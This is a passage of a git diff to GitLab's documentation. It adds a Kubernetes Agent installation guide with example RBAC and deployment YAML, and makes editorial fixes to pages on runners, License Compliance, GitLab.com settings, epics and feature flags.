+Once the token has been generated it needs to be applied to the Kubernetes cluster.
+
+If you didn't previously define or create a namespace you need to do that first:
+
+```shell
+kubectl create namespace <YOUR-DESIRED-NAMESPACE>
+```
+
+Run the following command to create your Secret:
+
+```shell
+kubectl create secret generic -n <YOUR-DESIRED-NAMESPACE> gitlab-agent-token --from-literal=token='YOUR_AGENT_TOKEN'
+```
+
+### Installing the Agent into the cluster
+
+Next you are now ready to install the in-cluster component of the Agent. The below is an example YAML file of the Kubernetes resources required for the Agent to be installed.
+
+Let's highlight a few of the details in the example below:
+
+1. You can replace `gitlab-agent` with <YOUR-DESIRED-NAMESPACE>
+1. For the `kas-address` (Kubernetes Agent Server), you can replace `grpc://host.docker.internal:5005` with the address of the kas agent that was initialized via your Helm install.
+1. If you defined your own secret name, then replace `gitlab-agent-token` with your secret name.
+
+`./resources.yml`
+
+```yaml
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+ name: gitlab-agent
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+ name: gitlab-agent
+spec:
+ replicas: 1
+ selector:
+ matchLabels:
+ app: gitlab-agent
+ template:
+ metadata:
+ labels:
+ app: gitlab-agent
+ spec:
+ serviceAccountName: gitlab-agent
+ containers:
+ - name: agent
+ image: "registry.gitlab.com/gitlab-org/cluster-integration/gitlab-agent/agentk:latest"
+ args:
+ - --token-file=/config/token
+ - --kas-address
+ - grpc://host.docker.internal:5005 # {"$openapi":"kas-address"}
+ volumeMounts:
+ - name: token-volume
+ mountPath: /config
+ volumes:
+ - name: token-volume
+ secret:
+ secretName: gitlab-agent-token
+ strategy:
+ type: RollingUpdate
+ rollingUpdate:
+ maxSurge: 0
+ maxUnavailable: 1
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+ name: gitlab-agent-write
+rules:
+- resources:
+ - '*'
+ apiGroups:
+ - '*'
+ verbs:
+ - create
+ - update
+ - delete
+ - patch
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+ name: gitlab-agent-write-binding
+roleRef:
+ name: gitlab-agent-write
+ kind: ClusterRole
+ apiGroup: rbac.authorization.k8s.io
+subjects:
+- name: gitlab-agent
+ kind: ServiceAccount
+ namespace: gitlab-agent
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+ name: gitlab-agent-read
+rules:
+- resources:
+ - '*'
+ apiGroups:
+ - '*'
+ verbs:
+ - get
+ - list
+ - watch
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+ name: gitlab-agent-read-binding
+roleRef:
+ name: gitlab-agent-read
+ kind: ClusterRole
+ apiGroup: rbac.authorization.k8s.io
+subjects:
+- name: gitlab-agent
+ kind: ServiceAccount
+ namespace: gitlab-agent
+
+```
+
+```shell
+kubectl apply -n gitlab-agent -f ./resources.yml
+```
+
+```plaintext
+$ kubectl get pods --all-namespaces
+NAMESPACE NAME READY STATUS RESTARTS AGE
+gitlab-agent gitlab-agent-77689f7dcb-5skqk 1/1 Running 0 51s
+kube-system coredns-f9fd979d6-n6wcw 1/1 Running 0 14m
+kube-system etcd-minikube 1/1 Running 0 14m
+kube-system kube-apiserver-minikube 1/1 Running 0 14m
+kube-system kube-controller-manager-minikube 1/1 Running 0 14m
+kube-system kube-proxy-j6zdh 1/1 Running 0 14m
+kube-system kube-scheduler-minikube 1/1 Running 0 14m
+kube-system storage-provisioner 1/1 Running 0 14m
+```
+
+### Creating a `manifest.yaml`
+
+In the above step, you configured a `config.yaml` to point to which GitLab projects the Agent should synchronize. Within each one of those projects, you need to create a `manifest.yaml` file which the Agent will monitor. This `manifest.yaml` can be autogenerated by a templating engine or other means.
+
+Example `manifest.yaml`:
+
+```yaml
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+ name: nginx-deployment
+spec:
+ selector:
+ matchLabels:
+ app: nginx
+ replicas: 2
+ template:
+ metadata:
+ labels:
+ app: nginx
+ spec:
+ containers:
+ - name: nginx
+ image: nginx:1.14.2
+ ports:
+ - containerPort: 80
+```
+
+The above file creates a simple NGINX deployment.
+
+Each time you commit and push a change to the `manifest.yaml` the Agent will observe the change. Example log:
+
+```plaintext
+2020-09-15_14:09:04.87946 gitlab-k8s-agent : time="2020-09-15T10:09:04-04:00" level=info msg="Config: new commit" agent_id=1 commit_id=e6a3651f1faa2e928fe6120e254c122451be4eea
+```
+
+## Example projects
+
+Basic GitOps example deploying NGINX: [Configuration repository](https://gitlab.com/gitlab-org/configure/examples/kubernetes-agent), [Manifest repository](https://gitlab.com/gitlab-org/configure/examples/gitops-project)
diff --git a/doc/user/clusters/applications.md b/doc/user/clusters/applications.md
index 3b04c7aac18..2243ffa0cb1 100644
--- a/doc/user/clusters/applications.md
+++ b/doc/user/clusters/applications.md
@@ -123,14 +123,14 @@ GitLab. It is used in conjunction with [GitLab
CI/CD](../../ci/README.md), the open-source continuous integration
service included with GitLab that coordinates the jobs.
-If the project is on GitLab.com, shared Runners are available
+If the project is on GitLab.com, shared runners are available
(the first 2000 minutes are free, you can
-[buy more later](../../subscriptions/index.md#purchasing-additional-ci-minutes))
+[buy more later](../../subscriptions/gitlab_com/index.md#purchase-additional-ci-minutes))
and you do not have to deploy one if they are enough for your needs. If a
-project-specific Runner is desired, or there are no shared Runners, it is easy
+project-specific runner is desired, or there are no shared runners, it is easy
to deploy one.
-Note that the deployed Runner will be set as **privileged**, which means it will essentially
+Note that the deployed runner will be set as **privileged**, which means it will essentially
have root access to the underlying machine. This is required to build Docker images,
so it is the default. Make sure you read the
[security implications](../project/clusters/index.md#security-implications)
@@ -529,7 +529,7 @@ fewer than 3 nodes or consisting of `f1-micro`, `g1-small`, `n1-standard-1`, or
NOTE: **Note:**
The Elastic Stack cluster application is intended as a log aggregation solution and is not related to our
-[Advanced Global Search](../search/advanced_global_search.md) functionality, which uses a separate
+[Advanced Search](../search/advanced_global_search.md) functionality, which uses a separate
Elasticsearch cluster.
#### Optional: deploy Kibana to perform advanced queries
@@ -894,8 +894,8 @@ GitLab Runner is installed into the `gitlab-managed-apps` namespace of your clus
In order for GitLab Runner to function, you **must** specify the following:
-- `gitlabUrl` - the GitLab server full URL (for example, `https://example.gitlab.com`) to register the Runner against.
-- `runnerRegistrationToken` - The registration token for adding new Runners to GitLab. This must be
+- `gitlabUrl` - the GitLab server full URL (for example, `https://gitlab.example.com`) to register the Runner against.
+- `runnerRegistrationToken` - The registration token for adding new runners to GitLab. This must be
[retrieved from your GitLab instance](../../ci/runners/README.md).
These values can be specified using [CI variables](../../ci/variables/README.md):
@@ -910,7 +910,7 @@ management project. Refer to the
available configuration options.
NOTE: **Note:**
-Support for installing the Runner managed application is provided by the GitLab Runner group.
+Support for installing the GitLab Runner managed application is provided by the GitLab Runner group.
If you run into unknown issues, please [open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new) and ping at least 2 people from the [Runner group](https://about.gitlab.com/handbook/product/product-categories/#runner-group).
### Install Cilium using GitLab CI/CD
@@ -1421,7 +1421,7 @@ Refer to the [AppArmor chart](https://gitlab.com/gitlab-org/charts/apparmor) for
After installing AppAmor, you can use profiles by adding Pod Annotations. If you're using Auto
DevOps, you can [customize `auto-deploy-values.yaml`](../../topics/autodevops/customize.md#customize-values-for-helm-chart)
-to annotate your pods. Although it's helpful to be aware of the [list of custom attributes](https://gitlab.com/gitlab-org/charts/auto-deploy-app#gitlabs-auto-deploy-helm-chart), you're only required to set
+to annotate your pods. Although it's helpful to be aware of the [list of custom attributes](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app#gitlabs-auto-deploy-helm-chart), you're only required to set
`podAnnotations` as follows:
```yaml
@@ -1488,7 +1488,7 @@ The applications below can be upgraded.
| Application | GitLab version |
| ----------- | -------------- |
-| Runner | 11.8+ |
+| GitLab Runner | 11.8+ |
To upgrade an application:
diff --git a/doc/user/compliance/license_compliance/img/license-check_v13_4.png b/doc/user/compliance/license_compliance/img/license-check_v13_4.png
new file mode 100644
index 00000000000..d3658cbaa18
--- /dev/null
+++ b/doc/user/compliance/license_compliance/img/license-check_v13_4.png
Binary files differ
diff --git a/doc/user/compliance/license_compliance/index.md b/doc/user/compliance/license_compliance/index.md
index 47f14b93d29..79c2d97b972 100644
--- a/doc/user/compliance/license_compliance/index.md
+++ b/doc/user/compliance/license_compliance/index.md
@@ -16,7 +16,7 @@ is incompatible with yours, then you can deny the use of that license.
You can take advantage of License Compliance by either [including the job](#configuration)
in your existing `.gitlab-ci.yml` file or by implicitly using
-[Auto License Compliance](../../../topics/autodevops/stages.md#auto-license-compliance-ultimate)
+[Auto License Compliance](../../../topics/autodevops/stages.md#auto-license-compliance)
that is provided by [Auto DevOps](../../../topics/autodevops/index.md).
GitLab checks the License Compliance report, compares the licenses between the
@@ -118,7 +118,7 @@ the `license_management` job, so you must migrate to the `license_scanning` job
`License-Scanning.gitlab-ci.yml` template.
The results will be saved as a
-[License Compliance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportslicense_scanning-ultimate)
+[License Compliance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportslicense_scanning)
that you can later download and analyze. Due to implementation limitations, we
always take the latest License Compliance artifact available. Behind the scenes, the
[GitLab License Compliance Docker image](https://gitlab.com/gitlab-org/security-products/license-management)
@@ -265,37 +265,10 @@ license_scanning:
You can supply a custom root certificate to complete TLS verification by using the
`ADDITIONAL_CA_CERT_BUNDLE` [environment variable](#available-variables).
-To bypass TLS verification, you can use a custom [`pip.conf`](https://pip.pypa.io/en/stable/user_guide/#config-file)
-file to configure trusted hosts.
-
-The following `gitlab-ci.yml` file uses a [`before_script`](../../../ci/yaml/README.md#before_script-and-after_script)
-to inject a custom [`pip.conf`](https://pip.pypa.io/en/stable/user_guide/#config-file):
-
-```yaml
-include:
- - template: Security/License-Scanning.gitlab-ci.yml
-
-license_scanning:
- variables:
- PIP_INDEX_URL: 'https://pypi.example.com/simple/'
- before_script:
- - mkdir -p ~/.config/pip/
- - cp pip.conf ~/.config/pip/pip.conf
-```
-
-The [`pip.conf`](https://pip.pypa.io/en/stable/reference/pip/) allows you to specify a list of
-[trusted hosts](https://pip.pypa.io/en/stable/reference/pip/#cmdoption-trusted-host):
-
-```plaintext
-[global]
-trusted-host = pypi.example.com
-```
-
#### Using private Python repos
If you have a private Python repository you can use the `PIP_INDEX_URL` [environment variable](#available-variables)
-to specify its location. It's also possible to provide a custom `pip.conf` for
-[additional configuration](#custom-root-certificates-for-python).
+to specify its location.
### Configuring NPM projects
@@ -643,8 +616,8 @@ To use License Compliance in an offline environment, you need:
NOTE: **Note:**
GitLab Runner has a [default `pull policy` of `always`](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy),
-meaning the Runner tries to pull Docker images from the GitLab container registry even if a local
-copy is available. GitLab Runner's [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy)
+meaning the runner tries to pull Docker images from the GitLab container registry even if a local
+copy is available. The GitLab Runner [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy)
in an offline environment if you prefer using only locally available Docker images. However, we
recommend keeping the pull policy setting to `always` if not in an offline environment, as this
enables the use of updated scanners in your CI/CD pipelines.
@@ -705,9 +678,6 @@ with identifiers from the [SPDX license list](https://spdx.org/licenses/).
A local copy of the SPDX license list is distributed with the GitLab instance. If needed, the GitLab
instance's administrator can manually update it with a [Rake task](../../../raketasks/spdx.md).
-Exact name matches are required for [project policies](#policies)
-when running in an offline environment ([see related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/212388)).
-
## License list
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13582) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.7.
@@ -753,17 +723,21 @@ Developers of the project can view the policies configured in a project.
![View Policies](img/policies_v13_0.png)
-### Enabling License Approvals within a project
+## Enabling License Approvals within a project
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13067) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.3.
-`License-Check` is an approval rule you can enable to allow an approver, individual, or group to
-approve a merge request that contains a `denied` license.
+`License-Check` is a [security approval](../../application_security/index.md#enabling-security-approvals-within-a-project) rule you can enable to allow an individual or group to approve a
+merge request that contains a `denied` license.
You can enable `License-Check` one of two ways:
-- Create a [project approval rule](../../project/merge_requests/merge_request_approvals.md#multiple-approval-rules-premium)
- with the case-sensitive name `License-Check`.
+1. Navigate to your project's **Settings > General** and expand **Merge request approvals**.
+1. Click **Enable** or **Edit**.
+1. Add or change the **Rule name** to `License-Check` (case sensitive).
+
+![License Check Approver Rule](img/license-check_v13_4.png)
+
- Create an approval group in the [project policies section for License Compliance](#policies).
You must set this approval group's number of approvals required to greater than zero. Once you
enable this group in your project, the approval rule is enabled for all merge requests.
diff --git a/doc/user/discussions/index.md b/doc/user/discussions/index.md
index f39d0d6c217..d3576ea33fe 100644
--- a/doc/user/discussions/index.md
+++ b/doc/user/discussions/index.md
@@ -501,7 +501,7 @@ introduced by [#25381](https://gitlab.com/gitlab-org/gitlab/-/issues/25381).
> - It was deployed behind a feature flag, disabled by default.
> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/227799) on GitLab 13.2.
> - It's enabled on GitLab.com.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-batch-suggestions-core-only).
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-batch-suggestions).
You can apply multiple suggestions at once to reduce the number of commits added
to your branch to address your reviewers' requests.
diff --git a/doc/user/feature_flags.md b/doc/user/feature_flags.md
new file mode 100644
index 00000000000..c134b7c083c
--- /dev/null
+++ b/doc/user/feature_flags.md
@@ -0,0 +1,43 @@
+---
+stage: none
+group: Development
+info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines"
+description: "Understand what 'GitLab features deployed behind flags' means."
+---
+
+# GitLab functionality may be limited by feature flags
+
+> Feature flag documentation warnings were [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/227806) in GitLab 13.4.
+
+GitLab releases some features in a disabled state using [feature flags](../development/feature_flags/index.md),
+allowing them to be tested by specific groups of users and strategically
+rolled out until they become enabled for everyone.
+
+As a GitLab user, this means that some features included in a GitLab release
+may be unavailable to you.
+
+In this case, you'll see a warning like this in the feature documentation:
+
+CAUTION: **Warning:**
+This feature might not be available to you. Review the **version history** note
+on this page for details.
+
+In the version history note, you'll find information on the state of the
+feature flag, including whether the feature is on ("enabled by default") or
+off ("disabled by default") for self-managed GitLab instances and for users of
+GitLab.com. To see the full notes:
+
+1. Click the three-dots icon (ellipsis) to expand version history notes:
+
+ ![Version history note with FF info](img/version_history_notes_collapsed_v13_2.png)
+
+1. Read the version history information:
+
+ ![Version history note with FF info](img/feature_flags_history_note_info_v13_2.png)
+
+If you're a user of a GitLab self-managed instance and you want to try to use a
+disabled feature, you can ask a [GitLab administrator to enable it](../administration/feature_flags.md),
+although changing a feature's default state isn't recommended.
+
+If you're a GitLab.com user and the feature is disabled, be aware that GitLab may
+be working on the feature for potential release in the future.
diff --git a/doc/user/gitlab_com/index.md b/doc/user/gitlab_com/index.md
index aa9e6715335..67dd31efe2c 100644
--- a/doc/user/gitlab_com/index.md
+++ b/doc/user/gitlab_com/index.md
@@ -68,7 +68,7 @@ Below are the settings for [GitLab Pages](https://about.gitlab.com/stages-devops
| IP address | `35.185.44.232` | - |
| Custom domains support | yes | no |
| TLS certificates support | yes | no |
-| Maximum size (uncompressed) | 1G | 100M |
+| Maximum size (compressed) | 1G | 100M |
NOTE: **Note:**
The maximum size of your Pages site is regulated by the artifacts maximum size
@@ -80,16 +80,16 @@ Below are the current settings regarding [GitLab CI/CD](../../ci/README.md).
| Setting | GitLab.com | Default |
| ----------- | ----------------- | ------------- |
-| Artifacts maximum size (uncompressed) | 1G | 100M |
+| Artifacts maximum size (compressed) | 1G | 100M |
| Artifacts [expiry time](../../ci/yaml/README.md#artifactsexpire_in) | From June 22, 2020, deleted after 30 days unless otherwise specified (artifacts created before that date have no expiry). | deleted after 30 days unless otherwise specified |
| Scheduled Pipeline Cron | `*/5 * * * *` | `19 * * * *` |
| [Max jobs in active pipelines](../../administration/instance_limits.md#number-of-jobs-in-active-pipelines) | `500` for Free tier, unlimited otherwise | Unlimited
| [Max CI/CD subscriptions to a project](../../administration/instance_limits.md#number-of-cicd-subscriptions-to-a-project) | `2` | Unlimited |
| [Max pipeline schedules in projects](../../administration/instance_limits.md#number-of-pipeline-schedules) | `10` for Free tier, `50` for all paid tiers | Unlimited |
| [Max number of instance level variables](../../administration/instance_limits.md#number-of-instance-level-variables) | `25` | `25` |
-| [Scheduled Job Archival](../../user/admin_area/settings/continuous_integration.md#archive-jobs-core-only) | 3 months | Never |
+| [Scheduled Job Archival](../../user/admin_area/settings/continuous_integration.md#archive-jobs) | 3 months | Never |
-## Repository size limit
+## Account and limit settings
GitLab.com has the following [account limits](../admin_area/settings/account_and_limit_settings.md) enabled. If a setting is not listed, it is set to the default value.
@@ -99,6 +99,7 @@ or over the repository size limit, you can [reduce your repository size with Git
| Setting | GitLab.com | Default |
| ----------- | ----------- | ------------- |
| Repository size including LFS | 10 GB | Unlimited |
+| Maximum import size | 5 GB | 50 MB |
NOTE: **Note:**
`git push` and GitLab project imports are limited to 5 GB per request through Cloudflare. Git LFS and imports other than a file upload are not affected by this limit.
@@ -124,20 +125,20 @@ A limit of:
- 50 webhooks applies to groups. **(BRONZE ONLY)**
- Payload is limited to 25MB
-## Shared Runners
+## Shared runners
GitLab offers Linux and Windows shared runners hosted on GitLab.com for executing your pipelines.
NOTE: **Note:**
-Shared Runners provided by GitLab are **not** configurable. Consider [installing your own Runner](https://docs.gitlab.com/runner/install/) if you have specific configuration needs.
+Shared runners provided by GitLab are **not** configurable. Consider [installing your own runner](https://docs.gitlab.com/runner/install/) if you have specific configuration needs.
-### Linux Shared Runners
+### Linux shared runners
-Linux Shared Runners on GitLab.com run in [autoscale mode](https://docs.gitlab.com/runner/configuration/autoscale.html) and are powered by Google Cloud Platform.
+Linux shared runners on GitLab.com run in [autoscale mode](https://docs.gitlab.com/runner/configuration/autoscale.html) and are powered by Google Cloud Platform.
Autoscaling means reduced waiting times to spin up CI/CD jobs, and isolated VMs for each project,
thus maximizing security. They're free to use for public open source projects and limited
to 2000 CI minutes per month per group for private projects. More minutes
-[can be purchased](../../subscriptions/index.md#purchasing-additional-ci-minutes), if
+[can be purchased](../../subscriptions/gitlab_com/index.md#purchase-additional-ci-minutes), if
needed. Read about all [GitLab.com plans](https://about.gitlab.com/pricing/).
All your CI/CD jobs run on [n1-standard-1 instances](https://cloud.google.com/compute/docs/machine-types) with 3.75GB of RAM, CoreOS and the latest Docker Engine
@@ -145,13 +146,13 @@ installed. Instances provide 1 vCPU and 25GB of HDD disk space. The default
region of the VMs is US East1.
Each instance is used only for one job, this ensures any sensitive data left on the system can't be accessed by other people their CI jobs.
-The `gitlab-shared-runners-manager-X.gitlab.com` fleet of Runners are dedicated for GitLab projects as well as community forks of them. They use a slightly larger machine type (n1-standard-2) and have a bigger SSD disk size. They will not run untagged jobs and unlike the general fleet of shared Runners, the instances are re-used up to 40 times.
+The `gitlab-shared-runners-manager-X.gitlab.com` fleet of runners are dedicated for GitLab projects as well as community forks of them. They use a slightly larger machine type (n1-standard-2) and have a bigger SSD disk size. They will not run untagged jobs and unlike the general fleet of shared runners, the instances are re-used up to 40 times.
-Jobs handled by the shared Runners on GitLab.com (`shared-runners-manager-X.gitlab.com`),
+Jobs handled by the shared runners on GitLab.com (`shared-runners-manager-X.gitlab.com`),
**will be timed out after 3 hours**, regardless of the timeout configured in a
project. Check the issues [4010](https://gitlab.com/gitlab-com/infrastructure/-/issues/4010) and [4070](https://gitlab.com/gitlab-com/infrastructure/-/issues/4070) for the reference.
-Below are the shared Runners settings.
+Below are the shared runners settings.
| Setting | GitLab.com | Default |
| ----------- | ----------------- | ---------- |
@@ -162,8 +163,8 @@ Below are the shared Runners settings.
#### Pre-clone script
-Linux Shared Runners on GitLab.com provide a way to run commands in a CI
-job before the Runner attempts to run `git init` and `git fetch` to
+Linux shared runners on GitLab.com provide a way to run commands in a CI
+job before the runner attempts to run `git init` and `git fetch` to
download a GitLab repository. The
[`pre_clone_script`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section)
can be used for:
@@ -252,27 +253,27 @@ sentry_dsn = "X"
BucketName = "bucket-name"
```
-### Windows Shared Runners (beta)
+### Windows shared runners (beta)
-The Windows Shared Runners are currently in
+The Windows shared runners are currently in
[beta](https://about.gitlab.com/handbook/product/#beta) and should not be used
for production workloads.
During the beta period, the
-[shared runner pipeline quota](../admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota-starter-only)
-will apply for groups and projects in the same way as Linux Runners.
+[shared runner pipeline quota](../admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota)
+will apply for groups and projects in the same way as Linux runners.
This may change when the beta period ends, as discussed in this
[related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/30834).
-Windows Shared Runners on GitLab.com automatically autoscale by
+Windows shared runners on GitLab.com automatically autoscale by
launching virtual machines on the Google Cloud Platform. This solution uses
a new [autoscaling driver](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/tree/master/docs/readme.md)
developed by GitLab for the [custom executor](https://docs.gitlab.com/runner/executors/custom.html).
-Windows Shared Runners execute your CI/CD jobs on `n1-standard-2` instances with 2
+Windows shared runners execute your CI/CD jobs on `n1-standard-2` instances with 2
vCPUs and 7.5GB RAM. You can find a full list of available Windows packages in the
[package documentation](https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/gcp/windows-containers/blob/master/cookbooks/preinstalled-software/README.md).
-We want to keep iterating to get Windows Shared Runners in a stable state and
+We want to keep iterating to get Windows shared runners in a stable state and
[generally available](https://about.gitlab.com/handbook/product/#generally-available-ga).
You can follow our work towards this goal in the
[related epic](https://gitlab.com/groups/gitlab-org/-/epics/2162).
@@ -343,7 +344,7 @@ VMTag = "windows"
#### Example
Below is a simple `.gitlab-ci.yml` file to show how to start using the
-Windows Shared Runners:
+Windows shared runners:
```yaml
.shared_windows_runners:
@@ -382,14 +383,14 @@ test:
definition](https://about.gitlab.com/handbook/product/#beta).
- The average provisioning time for a new Windows VM is 5 minutes.
This means that you may notice slower build start times
- on the Windows Shared Runner fleet during the beta. In a future
+ on the Windows shared runner fleet during the beta. In a future
release we will update the autoscaler to enable
the pre-provisioning of virtual machines. This will significantly reduce
the time it takes to provision a VM on the Windows fleet. You can
follow along in the [related issue](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/-/issues/32).
-- The Windows Shared Runner fleet may be unavailable occasionally
+- The Windows shared runner fleet may be unavailable occasionally
for maintenance or updates.
-- The Windows Shared Runner virtual machine instances do not use the
+- The Windows shared runner virtual machine instances do not use the
GitLab Docker executor. This means that you will not be able to specify
[`image`](../../ci/yaml/README.md#image) or [`services`](../../ci/yaml/README.md#services) in
your pipeline configuration.
@@ -401,9 +402,9 @@ test:
installation of additional software packages needs to be repeated for
each job in your pipeline.
- The job may stay in a pending state for longer than the
- Linux shared Runners.
+ Linux shared runners.
- There is the possibility that we introduce breaking changes which will
- require updates to pipelines that are using the Windows Shared Runner
+ require updates to pipelines that are using the Windows shared runner
fleet.
## Sidekiq
@@ -413,7 +414,7 @@ and the following environment variables:
| Setting | GitLab.com | Default |
|-------- |----------- |-------- |
-| `SIDEKIQ_DAEMON_MEMORY_KILLER` | - | - |
+| `SIDEKIQ_DAEMON_MEMORY_KILLER` | - | `1` |
| `SIDEKIQ_MEMORY_KILLER_MAX_RSS` | `2000000` | `2000000` |
| `SIDEKIQ_MEMORY_KILLER_HARD_LIMIT_RSS` | - | - |
| `SIDEKIQ_MEMORY_KILLER_CHECK_INTERVAL` | - | `3` |
@@ -523,6 +524,15 @@ Source:
- Search for `rate_limit_http_rate_per_minute` and `rate_limit_sessions_per_second` in [GitLab.com's current HAProxy settings](https://gitlab.com/gitlab-cookbooks/gitlab-haproxy/blob/master/attributes/default.rb).
+### Pagination response headers
+
+For performance reasons, if a query returns more than 10,000 records, GitLab
+doesn't return the following headers:
+
+- `X-Total`.
+- `X-Total-Pages`.
+- `rel="last"` `Link`.
+
### Rack Attack initializer
Details of rate limits enforced by [Rack Attack](../../security/rack_attack.md).
diff --git a/doc/user/group/bulk_editing/index.md b/doc/user/group/bulk_editing/index.md
index 35bdc6696eb..ec1e81bac2d 100644
--- a/doc/user/group/bulk_editing/index.md
+++ b/doc/user/group/bulk_editing/index.md
@@ -13,6 +13,9 @@ For more details, see [Bulk editing issues and merge requests at the project lev
If you want to update attributes across multiple issues, epics, or merge requests in a group, you
can do it by bulk editing them, that is, editing them together.
+NOTE: **Note:**
+Only the items visible on the current page are selected for bulk editing (up to 20).
+
![Bulk editing](img/bulk-editing_v13_2.png)
## Bulk edit issues at the group level
diff --git a/doc/user/group/clusters/index.md b/doc/user/group/clusters/index.md
index e61b24f84f6..ebf38aef4a6 100644
--- a/doc/user/group/clusters/index.md
+++ b/doc/user/group/clusters/index.md
@@ -46,7 +46,7 @@ You can associate more than one Kubernetes cluster to your group, and maintain d
for different environments, such as development, staging, and production.
When adding another cluster,
-[set an environment scope](#environment-scopes-premium) to help
+[set an environment scope](#environment-scopes) to help
differentiate the new cluster from your other clusters.
## GitLab-managed clusters
@@ -162,10 +162,10 @@ For a consolidated view of which CI [environments](../../../ci/environments/inde
are deployed to the Kubernetes cluster, see the documentation for
[cluster environments](../../clusters/environments.md).
-## Security of Runners
+## Security of runners
-For important information about securely configuring GitLab Runners, see
-[Security of Runners](../../project/clusters/add_remove_clusters.md#security-of-gitlab-runners)
+For important information about securely configuring runners, see
+[Security of runners](../../project/clusters/add_remove_clusters.md#security-of-runners)
documentation for project-level clusters.
## More information
diff --git a/doc/user/group/epics/index.md b/doc/user/group/epics/index.md
index 04b57d13828..e8bcb7219fc 100644
--- a/doc/user/group/epics/index.md
+++ b/doc/user/group/epics/index.md
@@ -48,14 +48,14 @@ To learn what you can do with an epic, see [Manage epics](manage_epics.md). Poss
- [Search for an epic from epics list page](manage_epics.md#search-for-an-epic-from-epics-list-page)
- [Make an epic confidential](manage_epics.md#make-an-epic-confidential)
- [Manage issues assigned to an epic](manage_epics.md#manage-issues-assigned-to-an-epic)
-- [Manage multi-level child epics **(ULTIMATE)**](manage_epics.md#manage-multi-level-child-epics-ultimate)
+- [Manage multi-level child epics **(ULTIMATE)**](manage_epics.md#manage-multi-level-child-epics)
## Relationships between epics and issues
The possible relationships between epics and issues are:
- An epic is the parent of one or more issues.
-- An epic is the parent of one or more child epics. For details see [Multi-level child epics](#multi-level-child-epics-ultimate). **(ULTIMATE)**
+- An epic is the parent of one or more child epics. For details see [Multi-level child epics](#multi-level-child-epics). **(ULTIMATE)**
```mermaid
graph TD
@@ -73,7 +73,7 @@ to add an issue to an epic, reorder issues, move issues between epics, or promot
> - The health status of a closed issue [will be hidden](https://gitlab.com/gitlab-org/gitlab/-/issues/220867) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.3 or later.
You can report on and quickly respond to the health of individual issues and epics by setting a
-red, amber, or green [health status on an issue](../../project/issues/index.md#health-status-ultimate),
+red, amber, or green [health status on an issue](../../project/issues/index.md#health-status),
which will appear on your Epic tree.
### Disable Issue health status in Epic tree
@@ -92,7 +92,7 @@ When you add an epic that's already linked to a parent epic, the link to its cur
An epic can have multiple child epics up to the maximum depth of five.
-See [Manage multi-level child epics](manage_epics.md#manage-multi-level-child-epics-ultimate) for
+See [Manage multi-level child epics](manage_epics.md#manage-multi-level-child-epics) for
steps to create, move, reorder, or delete child epics.
## Start date and due date
@@ -145,7 +145,7 @@ then the parent epic's start date will reflect the change and this will propagat
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7327) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.10.
-If your epic contains one or more [child epics](#multi-level-child-epics-ultimate) which
+If your epic contains one or more [child epics](#multi-level-child-epics) which
have a [start or due date](#start-date-and-due-date), a
[roadmap](../roadmap/index.md) view of the child epics is listed under the parent epic.
diff --git a/doc/user/group/epics/manage_epics.md b/doc/user/group/epics/manage_epics.md
index aaa5d3a3034..c09032bffb2 100644
--- a/doc/user/group/epics/manage_epics.md
+++ b/doc/user/group/epics/manage_epics.md
@@ -164,21 +164,9 @@ To make an epic confidential:
- **In an existing epic:** in the epic's sidebar, select **Edit** next to **Confidentiality** then
select **Turn on**.
-### Disable confidential epics **(PREMIUM ONLY)**
-
-The confidential epics feature is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
-can disable it for your self-managed instance.
-
-To disable it:
-
-```ruby
-Feature.disable(:confidential_epics)
-```
-
## Manage issues assigned to an epic
-### Add an issue to an epic
+### Add a new issue to an epic
You can add an existing issue to an epic, or, create a new issue that's
automatically added to the epic.
@@ -190,13 +178,13 @@ subgroups, are eligible to be added to the epic. Newly added issues appear at th
issues in the **Epics and Issues** tab.
An epic contains a list of issues and an issue can be associated with at most one epic.
-When you add an issue that's already linked to an epic, the issue is automatically unlinked from its
+When you add a new issue that's already linked to an epic, the issue is automatically unlinked from its
current parent.
-To add an issue to an epic:
+To add a new issue to an epic:
1. Click the **Add** dropdown button.
-1. Click **Add an issue**.
+1. Click **Add a new issue**.
1. Identify the issue to be added, using either of the following methods:
- Paste the link of the issue.
